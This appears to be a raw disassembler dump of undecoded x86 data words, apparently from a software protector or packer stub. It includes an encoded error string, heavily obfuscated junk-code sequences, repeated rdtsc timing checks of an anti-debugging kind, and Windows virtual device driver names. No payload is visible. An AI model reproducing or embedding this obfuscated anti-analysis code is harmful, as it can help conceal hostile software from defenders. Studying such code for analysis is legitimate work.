		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FF48+0B8h
		dd offset dword_445750+0A8B0h
		dd 0
		dd 94E90000h, 6A000011h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0FCC353h, 0D0A1282Eh
		dd 15C5858Bh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 765D90C3h, 97EB1B8h, 44390D2Bh
		dd 850F0424h, 0C4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A6C35040h, 3EE6A774h, 2E918501h, 9D2906A6h
		dd 6A61331h, 3111BD83h,	0F0006A6h, 8B84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 82437AD0h, 896060A1h, 0A60DCD9Dh, 0E98D8B06h, 6106A61Dh
		dd 8A6E27B9h, 858D616Fh, 6A63AC3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0BAC35545h,	2B8AFE62h, 1EC2B1D4h
		dd 68B0FF9h, 89000000h,	0A609A5B5h, 6AE0FF06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C316C356h, 3305858Bh, 9D0106A6h, 6A62D45h, 4244439h
		dd 4C850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 666064C3h, 3EF2D781h, 3800Fh, 8B660000h
		dd 85C761D9h, 6A970F6h,	1, 0BE8F960h, 52000000h, 9723A0D9h
		dd 59FAF1D5h, 5850F34Eh, 6A60615Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 9748C352h
		dd 0EC8531A0h, 46E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 815138C8h, 60F50BABh
		dd 0DE9h, 9BDDFC00h, 2344656Dh,	7F5403DBh, 880FA367h, 6
		dd 2F919D8Bh, 6106A6h, 0B8000000h, 1, 72E38587h, 0C00B06A9h
		dd 0B5FFF675h, 6A60C29h, 70EE858Fh, 206A06A9h, 95FFFF6Ah
		dd 6A62CDDh, 1021BD83h,	740006A6h, 0FF006A08h, 0A6295995h
		dd 85BD8306h, 106A62Ch,	80680D74h, 6A000000h, 0DD95FFFFh
		dd 6006A62Ch, 3C02BB66h, 50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 9F86B349h, 0D58529F9h
		dd 0F06A608h, 986h, 15B06000h, 0C2D38166h, 0B86100h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5337C355h, 8D896053h, 6A61C99h, 0E96129B5h
		dd 6, 0AAB1AC3Bh, 548B9A78h, 89F92824h,	0A614D585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0C7F1B836h, 3CBE5D6Eh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F508C351h
		dd 14E9h, 0E5DF1F00h, 4479D5EFh, 2E935D47h, 0BAA86F79h
		dd 0EB6D19C2h, 247403FCh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 2CBF24C5h
		dd 858B602Ah, 6A60849h,	1C60BF66h, 1A8E0F61h, 0F000000h
		dd 148Bh, 0FE900h, 0CA240000h, 7E1F9820h, 0C0FBA76Fh, 5DAEAE21h
		dd 6AAD66B4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5544C351h, 202857BFh, 7E9h, 0C255A900h
		dd 571CF8DAh, 24244403h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 52C35646h, 9723A0D9h,	81666060h, 66F294DEh
		dd 614E7DBEh, 0E51958Bh, 506106A6h, 870F5250h, 6, 840Fh
		dd 310F0000h, 6840Fh, 800F0000h, 0
		dd 489585Ah, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0EE998h, 0CC9E0000h, 0B4FFD439h
		dd 26287DE6h, 7AA39FDCh, 1E7D8501h, 408B06A6h, 0BD83F578h
		dd 6A970F6h, 0C6850F00h, 0F000000h, 0B8Dh, 0B5896000h
		dd 6A60E01h, 617CCD80h,	0DE950h, 7A020000h, 0E039009Dh
		dd 0D8C861EBh, 89F18C4Fh, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0A25966C3h, 24448BF8h
		dd 0F595892Ch, 5006A60Ah, 13E95250h, 2000000h, 9E20A020h
		dd 0A3B8E815h, 0F49F975Dh, 14DBB6F9h, 310F0E7Ch, 8A0F5250h
		dd 0
		dd 5250310Fh, 585A310Fh, 585A585Ah, 60240489h, 57DEBF0Fh
		dd 858D615Eh, 6A943BBh,	1880FFCh, 0F9000000h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0C2131FC3h, 513FDDB8h, 2929A97Eh, 0A615D5B5h, 24440306h
		dd 7E928h, 2A060000h, 97E30338h, 18408B95h, 11B1BD89h
		dd 6A4006A6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0DBF7C357h, 0F28589A7h, 6A06A970h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 29A5C353h, 0A605198Dh, 6A5806h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 61CD90C3h
		dd 0CC6B65Ah, 0E978708Bh, 8, 5A9E9F21h,	318D9B3Dh, 0E91CC683h
		dd 8, 8350E0D8h, 0A1A9E6E8h, 52006A96h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8B60BEEBh
		dd 0A61EC185h, 61CE8B06h, 2BCD8D89h, 296006A6h,	0A609FD95h
		dd 0C5BD2906h, 6106A62Ch, 24247C81h, 10000000h,	0C8870Fh
		dd 80600000h, 95897EE4h, 6A634A1h, 52505061h, 68E0Fh, 8D0F0000h
		dd 0
		dd 8B60310Fh, 0C3F6B9D0h, 5A617C0Dh, 24048958h,	0D5BD8960h
		dd 8106A62Eh, 663A6DD9h, 448B6138h, 0B5092824h,	6A634B1h
		dd 0E9525050h, 11h, 38449CD6h, 20FFE08Dh, 0B6114E87h, 77567683h
		dd 50310F7Ah, 13E952h, 7E780000h, 0CF8663F2h, 74E46218h
		dd 84F8B25Dh, 0BBC9F42Fh, 0F310F75h, 81h, 5A585A00h, 24048958h
		dd 19C18D89h, 0E96006A6h, 0Ah, 26C94935h, 0A01AC8E3h, 0CE9C79Ah
		dd 9C000000h, 91358DD7h, 481403Dh, 61853D74h, 43BB858Dh
		dd 0BD2906A9h, 6A629A1h, 2960D0FFh, 0A61481BDh,	0CEBF6606h
		dd 6A9661C4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0B750C355h, 7072DACh, 37B8181h
		dd 6A242474h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 103BC352h, 1C6DB04Dh, 9509CEBAh
		dd 6A63381h, 30D5BD8Dh,	8D8906A6h, 6A611F9h, 55006AADh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0EB394D3Bh, 7C81F8C8h, 2424h, 870F1000h, 10Ah, 0F558529h
		dd 0F6006A6h, 284h, 66616000h, 61A41FBEh, 14E990h, 0D3670000h
		dd 38582490h, 0FB874C1h, 0D0AE2B54h, 0DABD350h,	50505E90h
		dd 6850F52h, 0F000000h,	84h, 60310F00h,	5F50F78Bh, 90585A61h
		dd 29A5B589h, 448B06A6h, 8B0F2824h, 13h, 0EE9h,	9537D600h
		dd 254A6968h, 0B2705D92h, 90C7628Dh, 14E9h, 0E086AA00h
		dd 0C85FAA7Eh, 0FC4103F6h, 0D916F994h, 4BEECFACh, 52505005h
		dd 0F525060h, 0F585A31h, 8Eh, 310F6100h, 0CA8B6660h, 90585A61h
		dd 6830Fh, 0B5890000h, 6A61531h, 10D9589h, 858D06A6h, 6A943BBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 81C35141h
		dd 0CF73A7B7h, 892D06AFh, 0D0FFF9CAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0ADC35545h,	0EBCBB5E5h, 0BDF8562h
		dd 9F5BD01h, 440306A6h,	6A2424h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0B5896CC3h, 6A62269h
		dd 0FA81F5ABh, 10000h, 751820Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 8CEFE6C3h
		dd 8DF90411h, 0A61DA9BDh, 75952906h, 8906A622h,	0A612059Dh
		dd 820FAD06h, 6, 2C419589h, 7C8106A6h, 2424h, 870F1000h
		dd 0CCh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 19h,	86C35343h, 399396F5h, 99B50901h, 5006A60Ch, 128A0Fh
		dd 52500000h, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
		dd 0F5240489h, 2824448Bh, 0AB5BD89h, 609006A6h,	0DD16B966h
		dd 9E952h, 14640000h, 0F84D877h, 5A3E5E60h, 0E9605061h
		dd 0Ch,	0DDCE1A36h, 68453465h, 0E22F82F9h, 61616060h, 0AE99061h
		dd 5E000000h, 0D5438399h, 0C54D275h, 0BB858DBAh, 0E906A943h
		dd 7, 159763B9h, 2901FF07h, 0A6067185h,	6AD0FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4F3EC353h, 8D89CF92h, 6A61A59h, 24244403h, 525090F9h
		dd 0BE9h, 200ACA00h, 0A124B7D8h, 0D7C5EBF4h, 5250310Fh
		dd 880Fh, 310F0000h, 0DE9h, 0C709700h, 1E162496h, 755762FDh
		dd 585A8A5Ch, 6050585Ah, 860FC38Bh, 5, 5AB397BAh, 89906116h
		dd 0A61A4D9Dh, 0F1806006h, 6AAB6127h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 3A05C352h
		dd 8D29F84Fh, 6A61AD5h,	2C258D89h, 0BD8D06A6h, 6A60E09h
		dd 7E9h, 0FD88800h, 0C9B8DE74h,	56006AADh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 81F5F8F0h
		dd 28247Ch, 0F100000h, 15A87h, 858B6000h, 6A63351h, 95FBBB66h
		dd 50609061h, 8B310F52h, 61585ADEh, 9820F50h, 60000000h
		dd 0DAC9D4BEh, 6161602Fh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0B0C3715Eh
		dd 0E1C3B043h, 0F3816660h, 12E9EFF4h, 69000000h, 7F057DC5h
		dd 304B7BEEh, 0DC748509h, 0B156B805h, 13E9612Ch, 1F000000h
		dd 8E7A9D44h, 99BE28E5h, 7B769E23h, 0BFC54373h,	448BDCC7h
		dd 6A2C24h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0FCF17FC3h, 509047A4h, 68D0F52h, 50000000h
		dd 5A310F52h, 50310F58h, 5E952h, 0BCB60000h, 0FCB5538h
		dd 800F31h, 5A000000h, 50585A58h, 12E9h, 0CE8F1B00h, 306EB0F8h
		dd 75E94B12h, 38055CBEh, 902BD864h, 0D9D8960h, 0F06A605h
		dd 8D61F1B7h, 0A943BB85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0DA1BF246h
		dd 2554F1C7h, 68B0Fh, 0B5090000h, 6A62EC9h, 7E9h, 0E8C1600h
		dd 70AE8B31h, 6AD0FFF5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0F7DBC350h,	0C3AB99B6h
		dd 3F8EEB2h, 89282444h,	0A60DE5B5h, 51606006h, 9D95295Fh
		dd 6106A60Fh, 6AAB61h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0DD99F0C3h, 0D58D2960h, 6606A604h
		dd 75F6D881h, 8DFF5E61h, 6A970F2h, 70F2BD83h, 750006A9h
		dd 8DC0330Ah, 0A9800EB5h, 56E6FF06h, 247C81ADh,	28h, 500E7710h
		dd 2C24448Bh, 0BB858D50h, 0FF06A943h, 244403D0h, 0DF8B9728h
		dd 70EE858Ah, 0C08406A9h, 73A0474h, 32574C75h, 0FD75AEC0h
		dd 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h,	8ACD8AC1h
		dd 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h
		dd 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h
		dd 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h,	6A614D5h
		dd 0FFFF5DE9h, 6A5EFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 645503C3h, 5E96927h, 0B1000000h
		dd 0B9EA63B6h, 14D5858Bh, 6A06A6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 4F7875C3h, 1810FACh
		dd 0F8000000h, 14E9E0D1h, 0C0000000h, 102FA0F5h, 0E8D85BD1h
		dd 0C04AC2E5h, 0E582AA6h, 37100A5h, 0A60E0985h,	89852906h
		dd 2B06A62Fh, 858B60F6h, 6A62B8Dh, 198A0Fh, 13E80000h
		dd 22000000h, 0F1116333h, 9D441FFEh, 28E58E7Ah,	9E2399BEh
		dd 615F7B76h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 9AEC221h,	0CC2AD2FBh, 950B60E5h
		dd 6A626B5h, 11B19D31h,	666106A6h, 57006AADh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 901ED3D5h
		dd 0C1FC16D9h, 880F02E0h, 6, 13618589h,	850306A6h, 6A630D5h
		dd 0CE996F8h, 0B000000h, 0AAB65627h, 524181C7h,	0AD8BB95Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 67C35646h
		dd 24247C81h, 10000000h, 126870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0BB32D4C3h, 0FC0C9604h, 58576060h, 99958B61h, 6106A630h
		dd 5E950h, 0F0390000h, 8902FA40h, 89602404h, 0A607F9BDh
		dd 0E5958B06h, 6106A60Dh, 2824448Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0A0C35141h,	0A820F90h, 50000000h
		dd 0F616052h, 5A616031h, 0E9605058h, 6,	0B56B026Bh, 13E8DAF1h
		dd 0AC000000h, 1A50218Ah, 0D0D2F998h, 0F9B79314h, 0D61715A7h
		dd 615E66F5h, 178C0F90h, 0F000000h, 1183h, 0CE900h, 77BA0000h
		dd 0B2D9A4AEh, 9D6F14BCh, 858DDB63h, 6A943BBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h, 28A0F60h
		dd 60000000h, 0FB8B6661h, 61850161h, 0FF06A61Ah, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 890F9145h, 6, 1ADDBD29h, 9D2906A6h, 6A61035h, 24244403h
		dd 1118D29h, 448906A6h,	0F9601C24h, 2985C661h, 6A60Ch
		dd 72E385C7h, 6A9h, 85C70000h, 6A970F6h, 0
		dd 10E960h, 4BC40000h, 95D2DC6Bh, 0D79705A5h, 85B9CC1Eh
		dd 0AE8AEA4h, 4E000000h, 8C2EDC87h, 0D9E8BC06h,	58E18A3Eh
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0EBB1EFC1h, 0D95BD89h, 606106A6h, 267AE881h
		dd 8960740Ah, 0A632AD85h, 6161FC06h, 6A0008C2h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 9D89C356h, 94D8276Dh, 9E915h, 0E9B20000h, 0E642772Eh
		dd 8BAA3D23h, 0A630D585h, 15BD3106h, 4A06A60Dh,	0E840Fh
		dd 8B600000h, 0A6019585h, 69858B06h, 6106A61Ah,	6A04D26Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4450C352h, 0C860Fh, 7E90000h, 15000000h
		dd 0AE0E5344h, 0C20372FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0CCC35242h, 0FDE4F1F7h, 88A2BC60h, 0C6BF0F60h
		dd 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0ADFC76C3h, 247C81FCh, 24h, 1870F10h, 29000001h
		dd 0A606D18Dh, 52509006h, 9E960h, 9C100000h, 3CEF563Eh
		dd 8A1D3B70h, 310F61CCh, 11E9h,	0EE218000h, 3DA94A45h
		dd 0AF7010E8h, 0F2A8D791h, 585ADC7Dh, 15870F50h, 0E9000000h
		dd 10h,	0BA2DF1FEh, 5B8BAC15h, 0C95E453Ah, 0ABF4E17Dh
		dd 49BD8990h, 8B06A610h, 6A282444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0B0D7C350h
		dd 2F54B357h, 0EF81AD44h, 0E800Fh, 81600000h, 0E33F8DD3h
		dd 0DD9810Eh, 61779444h, 50516090h, 5A310F52h, 0F38B5858h
		dd 880F5061h, 0Ch, 68C0Fh, 8A0F0000h, 0
		dd 0FE990h, 2430000h, 0BB6E1DD3h, 62C4D450h, 0FB0BF18h
		dd 0BB858DDCh, 6A06A943h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8B7CC357h, 489FBB0Bh
		dd 8B0FD0FFh, 8, 2800Fh, 61600000h, 0FFFD8FE9h,	51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8DD93380h, 0A9864A85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0BC0343B1h
		dd 11C18589h, 609006A6h, 8B66F1B1h, 505061D3h, 60525052h
		dd 60310F61h, 0F585A61h, 6870F31h, 0F000000h, 8Ch, 90585A00h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0A3C35242h
		dd 6840Fh, 9D290000h, 6A62955h,	8419D89h, 0FF6406A6h, 35h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0DD83733Bh, 0C43DAD88h, 24048BF5h, 7E9h
		dd 7F23C800h, 6A34B7Ch,	1718589h, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 47E32C3h
		dd 0FE92Bh, 55190000h, 6EDB60B2h, 93122829h, 8A2871F5h
		dd 258964D5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F9C35747h
		dd 84DC6535h, 0E914D113h, 14h, 5455B386h, 32C056F9h, 95894E0Fh
		dd 840D57CAh, 23973122h, 842C858Dh, 6A06A9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 85897BC3h
		dd 6A6083Dh, 6A016089h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 86E7C353h, 74DD975Bh
		dd 0E9FC1194h, 25Bh, 0DB8BF8F9h, 0E8h, 0ED815D00h, 6A98425h
		dd 12FF9CBCh, 85BD8300h, 6A62Ch, 858B1874h, 6A61841h, 8B0000C6h
		dd 0A6092985h, 0C606h, 1EF595FFh, 0FF6006A6h, 0A96CFAB5h
		dd 0FE858D06h, 5006A96Ch, 6EF6858Dh, 0FF5006A9h, 0A61E9595h
		dd 0CC48306h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0C681F244h, 6ADA9AD5h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 610CC350h, 50B2652Bh, 1F059D89h, 0B58D06A6h,	6A96EF6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 47C35646h
		dd 0ABA8F66Fh, 0ED302F40h, 1E9BD8Dh, 6A06A6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 4893B7C3h
		dd 3E801Bh, 84840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 95018EC3h, 6A60C41h
		dd 0CE1B589h, 890F06A6h, 6, 0AD5BD89h, 6AA406A6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0CA13C350h, 2C0AAE45h, 0FFFF9CE9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 4A1739A1h, 3F132A83h, 6298D89h, 0B806A6h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0B2D1C351h, 7AA1F224h, 12E9AAF9h,	95000000h
		dd 7E096B06h, 57AF0611h, 90F3CC98h, 0C100D504h,	7B8ECh
		dd 89600000h, 0A60161B5h, 0BE906h, 9DD80000h, 80197F26h
		dd 2F3081B4h, 85C761E0h, 6A62185h, 1, 8D19529h,	8D8D06A6h
		dd 6A64F55h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	8DC35141h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0C1C1FC3h, 22A19D01h
		dd 5C8B06A6h, 0E8550C24h, 0
		dd 54ED815Dh, 8B06A986h, 0B883h, 0FA858900h, 8D06A96Ch
		dd 0A9841E85h, 0B8838906h, 5D000000h, 6AC3C033h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E9CAC357h, 6, 0DBBCC7DFh, 95893DCAh, 6A62D45h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 8AC35646h, 0F2FD2E4Fh
		dd 74501B60h, 61B58960h, 8D06A632h, 0A988BC85h,	13E96006h
		dd 34000000h, 52F28714h, 0BEE167EDh, 21957610h,	57F52169h
		dd 0B70FEB5Eh, 0F5061F1h, 0C8Dh, 6870F00h, 0F000000h, 85h
		dd 24048900h, 0EE9h, 19FD3F00h,	0C72B3BB6h, 606A9178h
		dd 64B66C63h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0FF511C3h, 18Bh, 8964F500h
		dd 25h,	6860F00h, 89000000h, 0A6094585h, 60858D06h, 6A06A989h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0FD03C356h, 92950135h, 0A8E0F2Dh,	60000000h
		dd 0B5316160h, 6A61659h, 0BF666061h, 0BF0F5D17h, 608961D8h
		dd 50006A01h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 2D6B5A14h, 3FF77A1Ch, 4B99589h, 85C606A6h
		dd 6A60C29h, 5D85294Fh,	6806A611h, 0C9D14FE6h, 0BE95250h
		dd 94000000h, 0C97541Bh, 227F298Fh, 310F3C2Ah, 0CE9h, 846A1D00h
		dd 0ADB3DE91h, 0F5555A46h, 81585A23h, 24442404h, 6A34F7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 213421C3h, 0D7A225DAh, 0E59D8B60h, 2906A610h, 0A61D6595h
		dd 8B606106h, 0A62DAD85h, 8B665206h, 0FF6159C1h, 0A60919B5h
		dd 7820F06h, 0F000000h,	184h, 9589F900h, 6A611B5h, 7120858Dh
		dd 6A06A9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 166DB2C3h, 0FE92EC35h, 0B5098A3Ah, 6A60B25h
		dd 8D89D0FFh, 6A61901h,	0C7E9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 18C0F12h, 0FC000000h
		dd 0C245C8Bh, 0E855h, 815D0000h, 0A988C6EDh, 8D858B06h
		dd 8906A62Fh, 0A6091985h, 5858B06h, 8906A633h, 0A6139185h
		dd 0C5858B06h, 8906A615h, 0A62B7585h, 2985C606h, 6A60Ch
		dd 72E385C7h, 6A9h, 858D0000h, 6A98960h, 0B88389h, 335D0000h
		dd 6AC3C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 49398BC3h, 8D89A9E5h, 6A606C9h, 52006AF8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0DCC0E028h, 8D893411h, 6A631B1h, 12FF74BCh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 2FBD90Fh, 18E18589h,	8F6406A6h, 5, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 548529F5h, 320148E9h, 0BE9h,	83DC4A00h, 0C20B8414h
		dd 0D3EE8780h, 0E904C483h, 14h,	0B2436AF2h, 492A26Eh, 7C9784Fh
		dd 0A2B5A2A3h, 0B269E087h, 4934EB61h, 474D5346h, 56202052h
		dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h
		dd 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 6C4h, 0E8E0Fh, 60600000h, 5E961h, 496A0000h
		dd 613BE730h, 85C7F860h, 6A98A0Bh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 81C35545h
		dd 714218AFh, 0AE99Fh, 0F4AA0000h, 839CE39Ah, 0D734FF54h
		dd 6AC68Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0BA9029C3h, 0FF5FA1Ah, 88Ah, 28E0F00h, 60000000h
		dd 0D8B70F61h, 0CE9h, 68664700h, 843EDA00h, 3F282C25h
		dd 10E8C1F2h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	85C35242h, 0F9F58BD6h, 0C166F555h, 14E908C8h, 4F000000h
		dd 0F89B82EDh, 0E5BEDC77h, 0BE7B9358h, 0A403EB8Ah, 0FBF6B5Ch
		dd 0C8Ch, 6870F00h, 0F000000h, 89h, 0F858900h, 0F906A98Ah
		dd 8CBC166h, 0C820Fh, 8B0F0000h, 6, 830Fh, 0FB830000h
		dd 5C850F40h, 0F000000h, 18Eh, 8A0FF900h, 1, 0E3BD8DF8h
		dd 6006A989h, 80F3B70Fh, 0E96163DEh, 1ACh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C9C35242h, 7B04CE23h
		dd 14810FFCh, 0E9000000h, 0Fh, 38420937h, 4911CB6Bh, 0F841678Dh
		dd 83376DADh, 850F0DFBh, 73h, 14E9h, 1B3BC600h,	0CBA3FEADh
		dd 788FF5E9h, 3850AF89h, 8A1C1D09h, 0EBBD8D31h,	6A06A989h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0F993C352h, 84235FCBh, 0F83D1E8h,	18Fh, 19E9F900h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0A828C353h, 0C1F14A7Dh, 83F9F7F3h
		dd 850F01FBh, 66h, 4880Fh, 60600000h, 0BD8D6161h, 6A989F3h
		dd 78A0Fh, 820F0000h, 1, 0CAE9F5h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0A10396C3h
		dd 0F606099h, 8Dh, 11E900h, 5CEA0000h, 4AC343F1h, 86763347h
		dd 93A34624h, 619E5414h, 0D7BF0F57h, 0FB83615Ah, 30850F2Ah
		dd 0F000000h, 487h, 0CE8A6000h,	0FBBD8D61h, 0F06A989h
		dd 887h, 2860F00h, 60000000h, 5AE961h, 840F0000h, 7, 18C0Fh
		dd 83F80000h, 850F27FBh, 30Dh, 14E9h, 3273BC00h, 11929170h
		dd 0DD8EA212h, 488ADDA5h, 0E4BCA268h, 0BD8DF81Eh, 6A98A03h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 89C35646h
		dd 34E9786Fh, 0F5F55E69h, 8A13BD89h, 6A06A9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 19B733C3h
